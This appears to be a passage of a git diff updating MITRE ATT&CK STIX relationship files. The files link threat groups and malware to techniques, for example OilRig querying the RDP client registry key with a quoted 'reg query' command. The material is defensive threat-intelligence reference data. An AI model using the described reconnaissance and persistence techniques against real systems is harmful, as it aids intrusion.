     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
             "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
diff --git a/enterprise-attack/relationship/relationship--e2e33068-b08e-45fd-89e0-0cf79868f902.json b/enterprise-attack/relationship/relationship--e2e33068-b08e-45fd-89e0-0cf79868f902.json
index 01fcc5b5cd..ba2da2aef1 100644
--- a/enterprise-attack/relationship/relationship--e2e33068-b08e-45fd-89e0-0cf79868f902.json
+++ b/enterprise-attack/relationship/relationship--e2e33068-b08e-45fd-89e0-0cf79868f902.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2378532b-b7ed-4bd2-a82a-e2ee77b2bdfd",
+    "id": "bundle--d515e0f9-45fd-42e1-825a-f10859ef4584",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e2e33068-b08e-45fd-89e0-0cf79868f902",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483.json b/enterprise-attack/relationship/relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483.json
index 5a9b71276e..c3e54111c5 100644
--- a/enterprise-attack/relationship/relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483.json
+++ b/enterprise-attack/relationship/relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6bb2c61f-ad4a-4f53-9495-f75c044b0c72",
+    "id": "bundle--18e72410-2440-4271-8629-e176d8edd308",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Sakula samples use cmd.exe to delete temporary files.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--e30a790b-8f09-4bdc-8116-275d00880333.json b/enterprise-attack/relationship/relationship--e30a790b-8f09-4bdc-8116-275d00880333.json
index d70a346ee3..6866b70443 100644
--- a/enterprise-attack/relationship/relationship--e30a790b-8f09-4bdc-8116-275d00880333.json
+++ b/enterprise-attack/relationship/relationship--e30a790b-8f09-4bdc-8116-275d00880333.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fa49e982-12a7-4175-bee1-98d057e99a2d",
+    "id": "bundle--b003a570-4955-4603-80eb-97c4b92a8420",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e30a790b-8f09-4bdc-8116-275d00880333",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by SPACESHIP.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
diff --git a/enterprise-attack/relationship/relationship--e30c24d3-d440-4395-88b3-3192a02c4364.json b/enterprise-attack/relationship/relationship--e30c24d3-d440-4395-88b3-3192a02c4364.json
new file mode 100644
index 0000000000..2de065b754
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e30c24d3-d440-4395-88b3-3192a02c4364.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6880230e-ad78-4794-ae60-71d979b6489d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e30c24d3-d440-4395-88b3-3192a02c4364",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used <code>reg query \u201cHKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\u201d</code> on a victim to query the Registry.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e32b53b5-b112-483a-8d95-56bf3f43671f.json b/enterprise-attack/relationship/relationship--e32b53b5-b112-483a-8d95-56bf3f43671f.json
index ee7818780b..e79b8f3032 100644
--- a/enterprise-attack/relationship/relationship--e32b53b5-b112-483a-8d95-56bf3f43671f.json
+++ b/enterprise-attack/relationship/relationship--e32b53b5-b112-483a-8d95-56bf3f43671f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--42f22f48-cff7-49e4-8f08-1c00d941bad5",
+    "id": "bundle--f57af9d1-5a2b-4034-bb9a-dee76ec7c27b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e32b53b5-b112-483a-8d95-56bf3f43671f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke uses scheduled tasks typically named \"Watchmon Service\" for persistence.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff.json b/enterprise-attack/relationship/relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff.json
index 00c3311879..0f8a30d384 100644
--- a/enterprise-attack/relationship/relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff.json
+++ b/enterprise-attack/relationship/relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa346a56-0bd7-42fb-82cb-f4739da09211",
+    "id": "bundle--66b8f5af-7550-494e-9b01-f431852bbd14",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware creates a scheduled task entitled \u201cIE Web Cache\u201d to execute a malicious file hourly.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84.json b/enterprise-attack/relationship/relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84.json
index 6554092dde..d1e462e9cc 100644
--- a/enterprise-attack/relationship/relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84.json
+++ b/enterprise-attack/relationship/relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e4a09b49-2c7e-4474-8b84-4aec2b7a290d",
+    "id": "bundle--9acf0507-fd26-40b6-8afa-a17dc9db24ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes can encrypt C2 traffic with AES.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d.json b/enterprise-attack/relationship/relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d.json
index b89cfdcf14..218febec47 100644
--- a/enterprise-attack/relationship/relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d.json
+++ b/enterprise-attack/relationship/relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e6e4fee0-5932-4564-8b35-2044d7c6d2f1",
+    "id": "bundle--d523f024-bc63-4cbf-a732-68fde77e3630",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
diff --git a/enterprise-attack/relationship/relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b.json b/enterprise-attack/relationship/relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b.json
new file mode 100644
index 0000000000..bd7e4429d1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--da7e9247-7f7d-43ff-a302-2e9a85375b37",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses PowerShell for execution.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e39b5b63-b29a-4322-9dca-8bca7dedf474.json b/enterprise-attack/relationship/relationship--e39b5b63-b29a-4322-9dca-8bca7dedf474.json
new file mode 100644
index 0000000000..7bc163fc23
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e39b5b63-b29a-4322-9dca-8bca7dedf474.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1b2a8635-b9ad-4d46-930f-6646d5fbc205",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e39b5b63-b29a-4322-9dca-8bca7dedf474",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly downloaded tools from a remote server after they were inside the victim network.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a.json b/enterprise-attack/relationship/relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a.json
new file mode 100644
index 0000000000..820a679019
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c0dccf4f-c6a9-43db-a5ec-287a7a530183",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses RDP to tunnel traffic from a victim environment.",
+            "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e3e841fa-b806-4c22-9f98-a97950b68931.json b/enterprise-attack/relationship/relationship--e3e841fa-b806-4c22-9f98-a97950b68931.json
index d5cef9f79b..21350ca1de 100644
--- a/enterprise-attack/relationship/relationship--e3e841fa-b806-4c22-9f98-a97950b68931.json
+++ b/enterprise-attack/relationship/relationship--e3e841fa-b806-4c22-9f98-a97950b68931.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af6bcbb7-a3eb-40e6-b4d2-be8251701378",
+    "id": "bundle--52a561db-711f-4170-9c70-525668e0c240",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e3e841fa-b806-4c22-9f98-a97950b68931",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59.json b/enterprise-attack/relationship/relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59.json
index 6dc03265e2..b6e9a24ebe 100644
--- a/enterprise-attack/relationship/relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59.json
+++ b/enterprise-attack/relationship/relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3862278-7313-4dec-875c-6b60ca3ec375",
+    "id": "bundle--e31942ea-470c-4261-acab-b3585fbab05f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL downloads another dropper from its C2 server.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--e42eef1a-107e-40a3-9227-45621e277ff3.json b/enterprise-attack/relationship/relationship--e42eef1a-107e-40a3-9227-45621e277ff3.json
index 5f4aafe3c7..55c56c8be7 100644
--- a/enterprise-attack/relationship/relationship--e42eef1a-107e-40a3-9227-45621e277ff3.json
+++ b/enterprise-attack/relationship/relationship--e42eef1a-107e-40a3-9227-45621e277ff3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5b2539e-cdd9-40be-a4b0-e62262a64e6c",
+    "id": "bundle--2e71cf0e-bd0c-441e-95ef-86a580263d4e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e42eef1a-107e-40a3-9227-45621e277ff3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families install themselves as new services on victims.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571.json b/enterprise-attack/relationship/relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571.json
index f31d7fdd46..40e8f23e23 100644
--- a/enterprise-attack/relationship/relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571.json
+++ b/enterprise-attack/relationship/relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c482283-843f-4719-8e7f-b4d26ffb9a98",
+    "id": "bundle--fda246ad-ed15-4f80-ad62-cd3d34825649",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
diff --git a/enterprise-attack/relationship/relationship--e45cdf20-e182-4346-8c98-a48575282ae6.json b/enterprise-attack/relationship/relationship--e45cdf20-e182-4346-8c98-a48575282ae6.json
index 1aaa2104ee..3f890e2b7b 100644
--- a/enterprise-attack/relationship/relationship--e45cdf20-e182-4346-8c98-a48575282ae6.json
+++ b/enterprise-attack/relationship/relationship--e45cdf20-e182-4346-8c98-a48575282ae6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7076964f-e9e9-4528-891a-9da6812e7f39",
+    "id": "bundle--111440bd-b4f0-4b3f-bbc6-bd81c47f62dc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e45cdf20-e182-4346-8c98-a48575282ae6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to initiate keylogging.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0.json b/enterprise-attack/relationship/relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0.json
index 19fce2db1c..0021d40654 100644
--- a/enterprise-attack/relationship/relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0.json
+++ b/enterprise-attack/relationship/relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f33d864-36a9-4d84-8a44-68a54609ef9a",
+    "id": "bundle--503265c1-c388-4d11-824a-a9c1d39d8852",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke runs <code>cmd.exe /c</code> and sends the output to its C2.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb.json b/enterprise-attack/relationship/relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb.json
new file mode 100644
index 0000000000..e838d1bc6b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--5325db4e-52a9-43ed-98cd-76fe06bba808",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
+            "target_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3.json b/enterprise-attack/relationship/relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3.json
index cf6778e8d9..96daa5d9a4 100644
--- a/enterprise-attack/relationship/relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3.json
+++ b/enterprise-attack/relationship/relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b219bdf7-2695-4e36-91ea-ba8122dc086f",
+    "id": "bundle--9a211921-4494-459f-87b8-c832f35da78c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "AutoIt downloads a PowerShell script that decodes to a typical shellcode loader.",
+            "description": "AutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader.",
             "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--e4c7c4b7-fe19-4433-acd9-ec94f436f381.json b/enterprise-attack/relationship/relationship--e4c7c4b7-fe19-4433-acd9-ec94f436f381.json
index deb7f07ee0..82b0014563 100644
--- a/enterprise-attack/relationship/relationship--e4c7c4b7-fe19-4433-acd9-ec94f436f381.json
+++ b/enterprise-attack/relationship/relationship--e4c7c4b7-fe19-4433-acd9-ec94f436f381.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e191f474-deb4-4da6-93f4-30e08c81f056",
+    "id": "bundle--87411c29-3541-482f-8931-3d8200779e4b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e4c7c4b7-fe19-4433-acd9-ec94f436f381",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
             "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--e5728c4d-d404-44e8-9e28-3411942c5234.json b/enterprise-attack/relationship/relationship--e5728c4d-d404-44e8-9e28-3411942c5234.json
index e20511da57..afc14620bd 100644
--- a/enterprise-attack/relationship/relationship--e5728c4d-d404-44e8-9e28-3411942c5234.json
+++ b/enterprise-attack/relationship/relationship--e5728c4d-d404-44e8-9e28-3411942c5234.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--094c371a-e94e-4add-83cc-7ed77ea6ab13",
+    "id": "bundle--8d320fc1-b5d5-49f7-8db6-de8a32227ac1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e5728c4d-d404-44e8-9e28-3411942c5234",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
diff --git a/enterprise-attack/relationship/relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac.json b/enterprise-attack/relationship/relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac.json
index ee2120f6ff..fcf80c07ed 100644
--- a/enterprise-attack/relationship/relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac.json
+++ b/enterprise-attack/relationship/relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eae401bd-503f-4524-90a4-0cf5a5d3b427",
+    "id": "bundle--0280c0da-f68d-433f-bdf1-57f81c35c0a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "target_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
diff --git a/enterprise-attack/relationship/relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4.json b/enterprise-attack/relationship/relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4.json
index a7dd55bfd5..ab11cc6d17 100644
--- a/enterprise-attack/relationship/relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4.json
+++ b/enterprise-attack/relationship/relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b436e56a-ea2b-4635-ac85-ff119a937d40",
+    "id": "bundle--d37d80e4-3cde-4994-9403-9a0ea30a4fa0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
